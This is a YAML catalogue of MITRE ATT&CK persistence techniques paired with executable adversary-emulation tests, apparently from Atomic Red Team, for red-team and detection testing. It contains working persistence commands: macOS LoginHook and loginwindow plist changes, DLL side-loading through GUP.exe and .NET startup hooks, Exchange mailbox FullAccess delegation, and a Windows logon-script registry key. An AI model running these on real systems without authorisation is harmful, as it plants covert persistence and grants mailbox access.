      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Microsoft Threat Intelligence Center (MSTIC)
      - Praetorian
      - Austin Clark, @c2defense
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor for processes and command-line parameters associated with account creation, such as <code>net user</code> or <code>useradd</code>. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.

        Collect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Network
      - Containers
      - SaaS
      x_mitre_version: '2.4'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'User Account: User Account Creation'
      type: attack-pattern
      id: attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67
      created: '2017-12-14T16:46:06.044Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1136
        external_id: T1136
      - source_name: Microsoft User Creation Event
        description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account
          was created. Retrieved June 30, 2017.'
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720
      - source_name: Symantec WastedLocker June 2020
        description: 'Symantec Threat Intelligence. (2020, June 25). WastedLocker:
          Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved
          May 20, 2021.'
        url: https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1547.013:
    technique:
      modified: '2023-10-16T16:35:12.501Z'
      name: XDG Autostart Entries
      description: |-
        Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user’s desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user’s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation: Free Desktop Entry Keys)

        Adversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. When the user’s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory.

        Adversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036) to blend malicious Autostart entries with legitimate programs.(Citation: Red Canary Netwire Linux 2022)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Tony Lambert, Red Canary
      x_mitre_deprecated: false
      x_mitre_detection: "Malicious XDG autostart entries may be detected by auditing
        file creation and modification events within the <code>/etc/xdg/autostart</code>
        and <code>~/.config/autostart</code> directories. Depending on individual
        configurations, defenders may need to query the environment variables <code>$XDG_CONFIG_HOME</code>
        or <code>$XDG_CONFIG_DIRS</code> to determine the paths of Autostart entries.
        Autostart entry files not associated with legitimate packages may be considered
        suspicious. Suspicious entries can also be identified by comparing entries
        to a trusted system baseline.\n \nSuspicious processes or scripts spawned
        in this manner will have a parent process of the desktop component implementing
        the XDG specification and will execute as the logged on user."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - User
      - root
      type: attack-pattern
      id: attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11
      created: '2019-09-10T18:13:12.195Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1547/013
        external_id: T1547.013
      - source_name: Free Desktop Application Autostart Feb 2006
        description: Free Desktop. (2006, February 13). Desktop Application Autostart
          Specification. Retrieved September 12, 2019.
        url: https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html
      - source_name: Free Desktop Entry Keys
        description: Free Desktop. (2017, December 24). Recognized Desktop Entry Keys.
          Retrieved September 12, 2019.
        url: https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html
      - source_name: Red Canary Netwire Linux 2022
        description: TONY LAMBERT. (2022, June 7). Trapping the Netwire RAT on Linux.
          Retrieved September 28, 2023.
        url: https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1547.007:
    technique:
      x_mitre_platforms:
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e
      created: '2020-01-24T18:15:06.641Z'
      x_mitre_version: '1.1'
      external_references:
      - source_name: mitre-attack
        external_id: T1547.007
        url: https://attack.mitre.org/techniques/T1547/007
      - source_name: Re-Open windows on Mac
        url: https://support.apple.com/en-us/HT204005
        description: Apple. (2016, December 6). Automatically re-open windows, apps,
          and documents on your Mac. Retrieved July 11, 2017.
      - source_name: Methods of Mac Malware Persistence
        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
      - source_name: Wardle Persistence Chapter
        url: https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf
        description: 'Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved
          April 13, 2022.'
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to "Reopen windows when logging back in".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named <code>com.apple.loginwindow.[UUID].plist</code> within the <code>~/Library/Preferences/ByHost</code> directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user’s next logon.

        Adversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the <code>com.apple.loginwindow.[UUID].plist</code> file to execute payloads when a user logs in.
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Boot or Logon Autostart Execution: Re-opened Applications'
      x_mitre_detection: Monitoring the specific plist files associated with reopening
        applications can indicate when an application has registered itself to be
        reopened.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - User
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1547.007
    atomic_tests:
    - name: Copy in loginwindow.plist for Re-Opened Applications
      auto_generated_guid: 5fefd767-ef54-4ac6-84d3-751ab85e8aba
      description: 'Copy in new loginwindow.plist to launch Calculator.

        '
      supported_platforms:
      - macos
      input_arguments:
        calc_plist_path:
          description: path to binary plist with entry to open calculator
          type: path
          default: PathToAtomicsFolder/T1547.007/src/reopen_loginwindow_calc.plist
      executor:
        command: 'cp #{calc_plist_path} ~/Library/Preferences/ByHost/com.apple.loginwindow.plist

          '
        cleanup_command: 'rm -f ~/Library/Preferences/ByHost/com.apple.loginwindow.plist

          '
        name: sh
    - name: Re-Opened Applications using LoginHook
      auto_generated_guid: 5f5b71da-e03f-42e7-ac98-d63f9e0465cb
      description: |
        Mac Defaults

        [Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html)
      supported_platforms:
      - macos
      input_arguments:
        script:
          description: path to script
          type: path
          default: "/path/to/script"
      executor:
        command: 'sudo defaults write com.apple.loginwindow LoginHook #{script}

          '
        cleanup_command: 'sudo defaults delete com.apple.loginwindow LoginHook

          '
        elevation_required: true
        name: sh
    - name: Append to existing loginwindow for Re-Opened Applications
      auto_generated_guid: 766b6c3c-9353-4033-8b7e-38b309fa3a93
      description: |
        Appends an entry to launch Calculator hidden loginwindow.*.plist for next login.
        Note that the change may not result in the added Calculator program launching on next user login.
        It may depend on which version of macOS you are running on.
      supported_platforms:
      - macos
      input_arguments:
        objc_source_path:
          description: path to objective C program
          type: path
          default: PathToAtomicsFolder/T1547.007/src/append_reopen_loginwindow.m
        exe_path:
          description: path to compiled program
          type: path
          default: "/tmp/t1547007_append_exe"
      dependency_executor_name: bash
      dependencies:
      - description: 'compile C program

          '
        prereq_command: 'if [ -f "#{exe_path}" ]; then exit 0 ; else exit 1; fi

          '
        get_prereq_command: 'cc #{objc_source_path} -o #{exe_path} -framework Cocoa

          '
      executor:
        command: |
          FILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1`
          if [ -z "${FILE}" ] ; then echo "No loginwindow plist file found" && exit 1 ; fi
          echo save backup copy to /tmp/
          cp ${FILE} /tmp/t1547007_loginwindow-backup.plist
          echo before
          plutil -p ${FILE}
          echo overwriting...
          #{exe_path} ${FILE} && echo after && plutil -p ${FILE}
        cleanup_command: |
          rm -f #{exe_path}
          # revert to backup copy
          FILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1`
          if [ -z "${FILE}" ] ; then
             exit 0
          fi
          mv /tmp/t1547007_loginwindow-backup.plist ${FILE}
        name: sh
  T1574.002:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Hijack Execution Flow: DLL Side-Loading'
      description: |-
        Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).

        Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_deprecated: false
      x_mitre_detection: Monitor processes for unusual activity (e.g., a process that
        does not use the network begins to do so) as well as the introduction of new
        files/programs. Track DLL metadata, such as a hash, and compare DLLs that
        are loaded at process execution time against previous executions to detect
        differences that do not correlate with patching or updates.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '2.0'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Module: Module Load'
      - 'File: File Creation'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application Control
      type: attack-pattern
      id: attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b
      created: '2020-03-13T19:41:37.908Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/002
        external_id: T1574.002
      - source_name: FireEye DLL Side-Loading
        description: 'Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in
          the Side of the Anti-Virus Industry. Retrieved March 13, 2020.'
        url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
      identifier: T1574.002
    atomic_tests:
    - name: DLL Side-Loading using the Notepad++ GUP.exe binary
      auto_generated_guid: 65526037-7079-44a9-bda1-2cb624838040
      description: |
        GUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded.
        Upon execution, calc.exe will be opened.
      supported_platforms:
      - windows
      input_arguments:
        process_name:
          description: Name of the created process
          type: string
          default: calculator.exe
        gup_executable:
          description: GUP is an open source signed binary used by Notepad++ for software
            updates
          type: path
          default: PathToAtomicsFolder\T1574.002\bin\GUP.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Gup.exe binary must exist on disk at specified location (#{gup_executable})

          '
        prereq_command: 'if (Test-Path "#{gup_executable}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{gup_executable}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true" -OutFile "#{gup_executable}"
      executor:
        command: '"#{gup_executable}"

          '
        cleanup_command: 'taskkill /F /IM #{process_name} >nul 2>&1

          '
        name: command_prompt
    - name: DLL Side-Loading using the dotnet startup hook environment variable
      auto_generated_guid: d322cdd7-7d60-46e3-9111-648848da7c02
      description: 'Utilizing the dotnet_startup_hooks environment variable, this
        method allows for registering a global method in an assembly that will be
        executed whenever a .net core application is started. This unlocks a whole
        range of scenarios, from injecting a profiler to tweaking a static context
        in a given environment. [blog post](https://medium.com/criteo-engineering/c-have-some-fun-with-net-core-startup-hooks-498b9ad001e1)

        '
      supported_platforms:
      - windows
      input_arguments:
        process_name:
          description: Name of the created process
          type: string
          default: calculator.exe
        preloader_dll:
          description: library for interfacing with the dotnet framework
          type: path
          default: PathToAtomicsFolder\T1574.002\bin\preloader.dll
      dependency_executor_name: powershell
      dependencies:
      - description: ".Net SDK must be installed\n"
        prereq_command: 'if (Test-Path "C:\Program Files\dotnet\dotnet.exe") {exit
          0} else {exit 1}

          '
        get_prereq_command: |
          winget install Microsoft.DotNet.SDK.6 --accept-source-agreements --accept-package-agreements -h > $null
          echo.
      - description: 'preloader must exist

          '
        prereq_command: 'if (Test-Path "#{preloader_dll}") {exit 0} else {exit 1}

          '
        get_prereq_command: 'Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/preloader?raw=true"
          -OutFile "#{preloader_dll}"

          '
      executor:
        command: |
          set DOTNET_STARTUP_HOOKS="#{preloader_dll}"
          dotnet -h > nul
          echo.
        cleanup_command: 'taskkill /F /IM #{process_name} >nul 2>&1

          '
        name: command_prompt
  T1098.002:
    technique:
      modified: '2024-01-03T15:46:06.706Z'
      name: 'Account Manipulation: Additional Email Delegate Permissions'
      description: "Adversaries may grant additional permission levels to maintain
        persistent access to an adversary-controlled email account. \n\nFor example,
        the <code>Add-MailboxPermission</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        cmdlet, available in on-premises Exchange and in the cloud-based service Office
        365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation:
        FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google
        Workspace, delegation can be enabled via the Google Admin console and users
        can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation:
        Google Ensuring Your Information is Safe) \n\nAdversaries may also assign
        mailbox folder permissions through individual folder permissions or roles.
        In Office 365 environments, adversaries may assign the Default or Anonymous
        user permissions or roles to the Top of Information Store (root), Inbox, or
        other mailbox folders. By assigning one or both user permissions to a folder,
        the adversary can utilize any other account in the tenant to maintain persistence
        to the target user’s mail folders.(Citation: Mandiant Defend UNC2452 White
        Paper)\n\nThis may be used in persistent threat incidents as well as BEC (Business
        Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003)
        to the accounts they wish to compromise. This may further enable use of additional
        techniques for gaining access to systems. For example, compromised business
        accounts are often used to send messages to other accounts in the network
        of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)),
        so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock,
        D. - Defending O365 - 2019)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Microsoft Detection and Response Team (DART)
      - Mike Burns, Mandiant
      - Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)
      - Jannie Li, Microsoft Threat Intelligence Center (MSTIC)
      - Arad Inbar, Fidelis Security
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor for unusual Exchange and Office 365 email account
        permissions changes that may indicate excessively broad permissions being
        granted to compromised accounts.\n\nEnable the UpdateFolderPermissions action
        for all logon types. The mailbox audit log will forward folder permission
        modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions
        operations where the Anonymous or Default user is assigned permissions other
        than None. \n\nA larger than normal volume of emails sent from an account
        and similar phishing emails sent from  real accounts within a network may
        be a sign that an account was compromised and attempts to leverage access
        with modified email permissions is occurring."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Office 365
      - Google Workspace
      x_mitre_version: '2.1'
      x_mitre_data_sources:
      - 'Group: Group Modification'
      - 'Application Log: Application Log Content'
      - 'User Account: User Account Modification'
      type: attack-pattern
      id: attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306
      created: '2020-01-19T16:54:28.516Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1098/002
        external_id: T1098.002
      - source_name: Bienstock, D. - Defending O365 - 2019
        description: 'Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending
          O365. Retrieved September 13, 2019.'
        url: https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365
      - source_name: Crowdstrike Hiding in Plain Sight 2018
        description: 'Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the
          Office 365 Activities API to Investigate Business Email Compromises. Retrieved
          January 19, 2020.'
        url: https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/
      - source_name: Google Ensuring Your Information is Safe
        description: Google. (2011, June 1). Ensuring your information is safe online.
          Retrieved April 1, 2022.
        url: https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html
      - source_name: Gmail Delegation
        description: Google. (n.d.). Turn Gmail delegation on or off. Retrieved April
          1, 2022.
        url: https://support.google.com/a/answer/7223765?hl=en
      - source_name: FireEye APT35 2018
        description: Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.
        url: https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf
      - source_name: Mandiant Defend UNC2452 White Paper
        description: Mandiant. (2021, January 19). Remediation and Hardening Strategies
          for Microsoft 365 to Defend Against UNC2452. Retrieved January 22, 2021.
        url: https://www.mandiant.com/resources/blog/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452
      - source_name: Microsoft - Add-MailboxPermission
        description: Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September
          13, 2019.
        url: https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1098.002
    atomic_tests:
    - name: EXO - Full access mailbox permission granted to a user
      auto_generated_guid: 17d046be-fdd0-4cbb-b5c7-55c85d9d0714
      description: |
        Give a nominated user, full mailbox delegation access of another user.
        This can be used by an adversary to maintain persistent access to a target's mailbox in M365.
      supported_platforms:
      - office-365
      input_arguments:
        username:
          description: office-365 username
          type: string
          default: o365_user_test@contoso.com
        password:
          description: office-365 password
          type: string
          default: o365_password_test
        delegate_target:
          description: office-365 target_email
          type: string
          default: delegate@contoso.com
        operator_mailbox:
          description: office-365 target_email
          type: string
          default: operator@contoso.com
      dependency_executor_name: powershell
      dependencies:
      - description: 'ExchangeOnlineManagement PowerShell module must be installed

          '
        prereq_command: |
          $RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0}
        get_prereq_command: "Install-Module -Name ExchangeOnlineManagement         \n"
      executor:
        command: |
          Import-Module ExchangeOnlineManagement
          $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
          $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
          Connect-ExchangeOnline -Credential $creds
          Add-MailboxPermission -Identity "#{delegate_target}" -User "#{operator_mailbox}" -AccessRights FullAccess -InheritanceType All
          Disconnect-ExchangeOnline -Confirm:$false
        cleanup_command: |
          Import-Module ExchangeOnlineManagement
          $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
          $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
          Connect-ExchangeOnline -Credential $creds
          Remove-MailboxPermission -Identity "#{delegate_target}" -User "#{operator_mailbox}" -AccessRights FullAccess -InheritanceType All -Confirm:$false
          Disconnect-ExchangeOnline -Confirm:$false
        name: powershell
        elevation_required: false
  T1653:
    technique:
      modified: '2023-09-30T21:28:45.038Z'
      name: Power Settings
      description: |-
        Adversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines. When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.(Citation: Sleep, shut down, hibernate)

        Adversaries may abuse system utilities and configuration settings to maintain access by preventing machines from entering a state, such as standby, that can terminate malicious activity.(Citation: Microsoft: Powercfg command-line options)(Citation: systemdsleep Linux)

        For example, `powercfg` controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.(Citation: Two New Monero Malware Attacks Target Windows and Android Users) Adversaries may also extend system lock screen timeout settings.(Citation: BATLOADER: The Evasive Downloader Malware) Other relevant settings, such as disk and hibernate timeout, can be similarly abused to keep the infected machine running even if no user is active.(Citation: CoinLoader: A Sophisticated Malware Loader Campaign)

        Aware that some malware cannot survive system reboots, adversaries may entirely delete files used to invoke system shut down or reboot.(Citation: Condi-Botnet-binaries)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Goldstein Menachem
      - Juan Tapiador
      x_mitre_deprecated: false
      x_mitre_detection: "Command-line invocation of tools capable of modifying services
        may be unusual and can be monitored for and alerted on, depending on how systems
        are typically used in a particular environment. \n"
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      - Network
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Command: Command Execution'
      type: attack-pattern
      id: attack-pattern--ea071aa0-8f17-416f-ab0d-2bab7e79003d
      created: '2023-06-05T15:52:52.467Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1653
        external_id: T1653
      - source_name: Sleep, shut down, hibernate
        description: AVG. (n.d.). Should You Shut Down, Sleep or Hibernate Your PC
          or Mac Laptop?. Retrieved June 8, 2023.
        url: https://www.avg.com/en/signal/should-you-shut-down-sleep-or-hibernate-your-pc-or-mac-laptop
      - source_name: 'CoinLoader: A Sophisticated Malware Loader Campaign'
        description: 'Avira. (2019, November 28). CoinLoader: A Sophisticated Malware
          Loader Campaign. Retrieved June 5, 2023.'
        url: https://www.avira.com/en/blog/coinloader-a-sophisticated-malware-loader-campaign
      - source_name: 'BATLOADER: The Evasive Downloader Malware'
        description: 'Bethany Hardin, Lavine Oluoch, Tatiana Vollbrecht. (2022, November
          14). BATLOADER: The Evasive Downloader Malware. Retrieved June 5, 2023.'
        url: https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html
      - source_name: Two New Monero Malware Attacks Target Windows and Android Users
        description: Douglas Bonderud. (2018, September 17). Two New Monero Malware
          Attacks Target Windows and Android Users. Retrieved June 5, 2023.
        url: https://securityintelligence.com/news/two-new-monero-malware-attacks-target-windows-and-android-users/
      - source_name: Condi-Botnet-binaries
        description: Joie Salvio and Roy Tay. (2023, June 20). Condi DDoS Botnet Spreads
          via TP-Link's CVE-2023-1389. Retrieved September 5, 2023.
        url: https://www.fortinet.com/blog/threat-research/condi-ddos-botnet-spreads-via-tp-links-cve-2023-1389
      - source_name: systemdsleep Linux
        description: Man7. (n.d.). systemd-sleep.conf(5) — Linux manual page. Retrieved
          June 7, 2023.
        url: https://man7.org/linux/man-pages/man5/systemd-sleep.conf.5.html
      - source_name: 'Microsoft: Powercfg command-line options'
        description: Microsoft. (2021, December 15). Powercfg command-line options.
          Retrieved June 5, 2023.
        url: https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options?adlt=strict
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1037.001:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3
      type: attack-pattern
      created: '2020-01-10T03:43:37.211Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1037.001
        url: https://attack.mitre.org/techniques/T1037/001
      - url: https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx
        description: Microsoft. (2005, January 21). Creating logon scripts. Retrieved
          April 27, 2016.
        source_name: TechNet Logon Scripts
      - source_name: Hexacorn Logon Scripts
        url: http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/
        description: Hexacorn. (2014, November 14). Beyond good ol’ Run key, Part
          18. Retrieved November 15, 2019.
      modified: '2021-04-29T14:49:39.188Z'
      name: 'Boot or Logon Initialization Scripts: Logon Script (Windows)'
      description: "Adversaries may use Windows logon scripts automatically executed
        at logon initialization to establish persistence. Windows allows logon scripts
        to be run whenever a specific user or group of users log into a system.(Citation:
        TechNet Logon Scripts) This is done via adding a path to a script to the <code>HKCU\\Environment\\UserInitMprLogonScript</code>
        Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these
        scripts to maintain persistence on a single system. Depending on the access
        configuration of the logon scripts, either local credentials or an administrator
        account may be necessary. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: |-
        Monitor for changes to Registry values associated with Windows logon scrips, nameley <code>HKCU\Environment\UserInitMprLogonScript</code>.

        Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Creation'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1037.001
    atomic_tests:
    - name: Logon Scripts
      auto_generated_guid: d6042746-07d4-4c92-9ad8-e644c114a231
      description: |
        Adds a registry value to run batch script created in the %temp% directory. Upon execution, there will be a new environment variable in the HKCU\Environment key
        that can be viewed in the Registry Editor.
      supported_platforms:
      - windows
      input_arguments:
        script_path:
          description: Path to .bat file
          type: string
          default: "%temp%\\art.bat"
        script_command:
          description: Command To Execute
          type: string
          default: echo Art "Logon Script" atomic test was successful. >> %USERPROFILE%\desktop\T1037.001-log.txt
      executor:
        command: |
          echo "#{script_command}" > #{script_path}
          REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d "#{script_path}" /f
        cleanup_command: |
          REG.exe DELETE HKCU\Environment /v UserInitMprLogonScript /f >nul 2>&1
          del #{script_path} >nul 2>&1
